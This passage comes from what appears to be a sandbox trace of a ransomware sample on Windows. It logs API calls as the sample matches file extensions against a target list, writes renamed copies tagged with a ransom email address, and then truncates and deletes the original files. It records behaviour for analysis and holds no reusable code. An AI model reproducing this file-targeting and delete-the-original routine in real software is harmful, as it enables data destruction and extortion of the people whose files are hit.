(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0139.342] lstrlenW (lpString=".doc") returned 4 [0139.342] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.342] lstrlenW (lpString=".docx") returned 5 [0139.342] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0139.342] lstrlenW (lpString=".pdf") returned 4 [0139.342] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.342] lstrlenW (lpString=".xls") returned 4 [0139.342] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.342] lstrlenW (lpString=".xlsx") returned 5 [0139.342] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0139.342] lstrlenW (lpString=".ppt") returned 4 [0139.342] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0139.342] lstrlenW (lpString=".zip") returned 4 [0139.342] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.342] lstrlenW (lpString=".rar") returned 4 [0139.342] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.342] lstrlenW (lpString=".bz2") returned 4 [0139.342] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.342] lstrlenW (lpString=".7z") returned 3 [0139.342] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0139.342] lstrlenW (lpString=".dbf") returned 4 [0139.342] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0139.342] lstrlenW (lpString=".1cd") returned 4 [0139.342] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0139.342] lstrlenW (lpString=".jpg") returned 4 [0139.343] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.343] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0139.343] lstrlenW (lpString="base.xml") returned 8 [0139.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1014 [0139.344] GetFileSizeEx (in: hFile=0x1014, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=3333) returned 1 [0139.344] CloseHandle (hObject=0x1014) returned 1 [0139.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0139.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0139.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0139.344] lstrlenW (lpString=".doc") returned 4 [0139.344] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.344] lstrlenW (lpString=".docx") returned 5 [0139.345] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0139.345] lstrlenW (lpString=".pdf") returned 4 [0139.345] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.345] lstrlenW (lpString=".xls") returned 4 [0139.345] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.345] lstrlenW (lpString=".xlsx") returned 5 [0139.345] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0139.345] lstrlenW (lpString=".ppt") returned 4 [0139.345] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0139.345] lstrlenW (lpString=".zip") returned 4 [0139.345] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.345] lstrlenW (lpString=".rar") returned 4 [0139.345] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.345] lstrlenW (lpString=".bz2") returned 4 [0139.345] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.345] lstrlenW (lpString=".7z") returned 3 [0139.345] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0139.345] lstrlenW (lpString=".dbf") returned 4 [0139.345] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0139.345] lstrlenW (lpString=".1cd") returned 4 [0139.345] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0139.345] lstrlenW (lpString=".jpg") returned 4 [0139.345] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0139.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0139.346] lstrlenW (lpString=".doc") returned 4 [0139.346] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.346] lstrlenW (lpString=".docx") returned 5 [0139.346] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0139.346] lstrlenW (lpString=".pdf") returned 4 [0139.346] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.346] lstrlenW (lpString=".xls") returned 4 [0139.346] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.346] lstrlenW (lpString=".xlsx") returned 5 [0139.346] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0139.346] lstrlenW (lpString=".ppt") returned 4 [0139.346] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0139.346] lstrlenW (lpString=".zip") returned 4 [0139.346] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.346] lstrlenW (lpString=".rar") returned 4 [0139.346] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.346] lstrlenW (lpString=".bz2") returned 4 [0139.346] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.346] lstrlenW (lpString=".7z") returned 3 [0139.346] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0139.346] lstrlenW (lpString=".dbf") returned 4 [0139.346] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0139.346] lstrlenW (lpString=".1cd") returned 4 [0139.346] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0139.346] lstrlenW (lpString=".jpg") returned 4 [0139.347] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.347] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0139.347] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0139.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0139.624] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=247) returned 1 [0139.624] CloseHandle (hObject=0x103c) returned 1 [0139.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0139.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0139.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0139.624] lstrlenW (lpString=".doc") returned 4 [0139.624] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.624] lstrlenW (lpString=".docx") returned 5 [0139.624] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0139.624] lstrlenW (lpString=".pdf") returned 4 [0139.624] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.624] lstrlenW (lpString=".xls") returned 4 [0139.624] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.625] lstrlenW (lpString=".xlsx") returned 5 [0139.625] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0139.625] lstrlenW (lpString=".ppt") returned 4 [0139.625] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0139.625] lstrlenW (lpString=".zip") returned 4 [0139.625] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.625] lstrlenW (lpString=".rar") returned 4 [0139.625] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.625] lstrlenW (lpString=".bz2") returned 4 [0139.625] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.625] lstrlenW (lpString=".7z") returned 3 [0139.625] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0139.625] lstrlenW (lpString=".dbf") returned 4 [0139.625] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0144.757] SetFilePointerEx (hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0) [0144.757] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.758] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.758] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0144.759] GetLastError () returned 0x0 [0144.759] ReadFile (in: hFile=0x10d8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x3bac, lpOverlapped=0x0) returned 1 [0145.020] WriteFile (in: hFile=0x10dc, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x3bb0, lpOverlapped=0x0) returned 1 [0145.026] ReadFile (in: hFile=0x10d8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.026] WriteFile (in: hFile=0x10dc, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xee, lpOverlapped=0x0) returned 1 [0145.026] SetEndOfFile (hFile=0x10dc) returned 1 [0145.026] CloseHandle (hObject=0x10dc) returned 1 [0145.029] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.029] SetEndOfFile (hFile=0x10d8) returned 1 [0145.030] CloseHandle (hObject=0x10d8) returned 1 [0145.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.030] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1 [0145.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0145.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0145.031] lstrlenW (lpString=".doc") returned 4 [0145.031] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.031] lstrlenW (lpString=".docx") returned 5 [0145.031] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0145.031] lstrlenW (lpString=".pdf") returned 4 [0145.031] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.031] lstrlenW (lpString=".xls") returned 4 [0145.031] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.031] lstrlenW (lpString=".xlsx") returned 5 [0145.031] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0145.031] lstrlenW (lpString=".ppt") returned 4 [0145.031] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0145.031] lstrlenW (lpString=".zip") returned 4 [0145.031] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.031] lstrlenW (lpString=".rar") returned 4 [0145.031] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.031] lstrlenW (lpString=".bz2") returned 4 [0145.031] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.031] lstrlenW (lpString=".7z") returned 3 [0145.031] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0145.031] lstrlenW (lpString=".dbf") returned 4 [0145.031] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0145.031] lstrlenW (lpString=".1cd") returned 4 [0145.032] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0145.032] lstrlenW (lpString=".jpg") returned 4 [0145.032] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0145.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0145.032] lstrlenW (lpString=".doc") returned 4 [0145.032] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.032] lstrlenW (lpString=".docx") returned 5 [0145.032] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0145.032] lstrlenW (lpString=".pdf") returned 4 [0145.032] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.032] lstrlenW (lpString=".xls") returned 4 [0145.032] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.032] lstrlenW (lpString=".xlsx") returned 5 [0145.032] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0145.032] lstrlenW (lpString=".ppt") returned 4 [0145.032] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0145.032] lstrlenW (lpString=".zip") returned 4 [0145.032] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.032] lstrlenW (lpString=".rar") returned 4 [0145.032] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.032] lstrlenW (lpString=".bz2") returned 4 [0145.032] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.033] lstrlenW (lpString=".7z") returned 3 [0145.033] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0145.033] lstrlenW (lpString=".dbf") returned 4 [0145.033] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0145.033] lstrlenW (lpString=".1cd") returned 4 [0145.033] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0145.033] lstrlenW (lpString=".jpg") returned 4 [0145.033] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.033] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0145.033] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25 [0145.033] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0145.073] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=153) returned 1 [0145.073] CloseHandle (hObject=0x1088) returned 1 [0145.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0145.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.074] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0145.074] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.074] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.075] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0145.075] GetLastError () returned 0x0 [0145.075] ReadFile (in: hFile=0x1088, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x99, lpOverlapped=0x0) returned 1 [0145.076] WriteFile (in: hFile=0x1080, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xa0, lpOverlapped=0x0) returned 1 [0145.077] ReadFile (in: hFile=0x1088, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.077] WriteFile (in: hFile=0x1080, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x106, lpOverlapped=0x0) returned 1 [0145.077] SetEndOfFile (hFile=0x1080) returned 1 [0145.077] CloseHandle (hObject=0x1080) returned 1 [0145.081] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.081] SetEndOfFile (hFile=0x1088) returned 1 [0145.082] CloseHandle (hObject=0x1088) returned 1 [0145.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.082] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0145.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0145.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0145.083] lstrlenW (lpString=".doc") returned 4 [0145.083] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.083] lstrlenW (lpString=".docx") returned 5 [0145.083] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0145.083] lstrlenW (lpString=".pdf") returned 4 [0145.083] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.083] lstrlenW (lpString=".xls") returned 4 [0145.083] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.083] lstrlenW (lpString=".xlsx") returned 5 [0145.083] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0145.083] lstrlenW (lpString=".ppt") returned 4 [0145.083] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0145.083] lstrlenW (lpString=".zip") returned 4 [0145.083] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.083] lstrlenW (lpString=".rar") returned 4 [0145.083] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.083] lstrlenW (lpString=".bz2") returned 4 [0145.083] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.083] lstrlenW (lpString=".7z") returned 3 [0145.083] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0145.083] lstrlenW (lpString=".dbf") returned 4 [0145.083] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0145.083] lstrlenW (lpString=".1cd") returned 4 [0145.084] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0145.084] lstrlenW (lpString=".jpg") returned 4 [0145.084] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0145.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0145.084] lstrlenW (lpString=".doc") returned 4 [0145.084] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.084] lstrlenW (lpString=".docx") returned 5 [0145.084] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0145.084] lstrlenW (lpString=".pdf") returned 4 [0145.084] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.084] lstrlenW (lpString=".xls") returned 4 [0145.084] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.084] lstrlenW (lpString=".xlsx") returned 5 [0145.084] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0145.084] lstrlenW (lpString=".ppt") returned 4 [0145.084] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0145.084] lstrlenW (lpString=".zip") returned 4 [0145.085] lstrcmpiW 